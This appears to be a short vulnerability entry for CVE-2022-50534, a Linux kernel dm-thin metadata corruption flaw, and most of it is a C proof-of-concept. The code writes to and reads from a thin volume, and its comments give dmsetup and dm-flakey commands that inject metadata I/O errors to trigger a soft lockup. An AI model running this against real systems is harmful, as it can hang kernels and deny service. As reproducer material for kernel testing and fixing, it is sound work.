CVE-2022-50534 Linux内核dm thin元数据损坏导致软锁死漏洞

// CVE-2022-50534 Reproducer Concept // This is a conceptual PoC to trigger the dm thin softlockup vulnerability // by simulating a failed commit during copy-up operation. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <linux/dm-ioctl.h> // Step 1: Setup dm thin pool with backing store // dmsetup create pool --table "0 20971520 thin-pool /dev/loop1 /dev/loop2 2048 2048" // Step 2: Create thin volume // dmsetup create thin --table "0 20971520 thin /dev/mapper/pool 0" // Step 3: Trigger copy-up by writing to a shared block // while simultaneously causing I/O errors on backing metadata device int main() { int fd; char buf[4096]; // Open the thin volume fd = open("/dev/mapper/thin", O_RDWR); if (fd < 0) { perror("open thin volume"); return 1; } memset(buf, 'A', sizeof(buf)); // Write to trigger copy-up operation // This causes dm thin to create new btree path (X->Y->Z) if (write(fd, buf, sizeof(buf)) < 0) { perror("write"); } // At this point, if Y write fails while X and Z succeed, // pmd->root will point to a corrupted btree // Subsequent reads will trigger infinite loop in dm_btree_lookup // Trigger read on the same block to invoke dm_thin_find_block if (pread(fd, buf, sizeof(buf), 0) < 0) { perror("pread"); } close(fd); return 0; } // Note: To actually trigger the bug, the backing metadata device // must experience I/O errors during the commit phase. // This can be simulated using dm-flakey or fault injection: // dmsetup create flakey-meta --table "0 4096 flakey /dev/loop2 0 0 5 error" // Then use /dev/mapper/flakey-meta as the metadata device for the thin pool.